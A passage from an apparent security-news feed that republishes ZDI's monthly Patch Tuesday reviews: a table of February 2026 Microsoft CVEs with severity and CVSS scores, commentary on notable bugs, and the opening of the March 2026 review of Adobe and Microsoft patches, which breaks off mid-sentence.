  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The 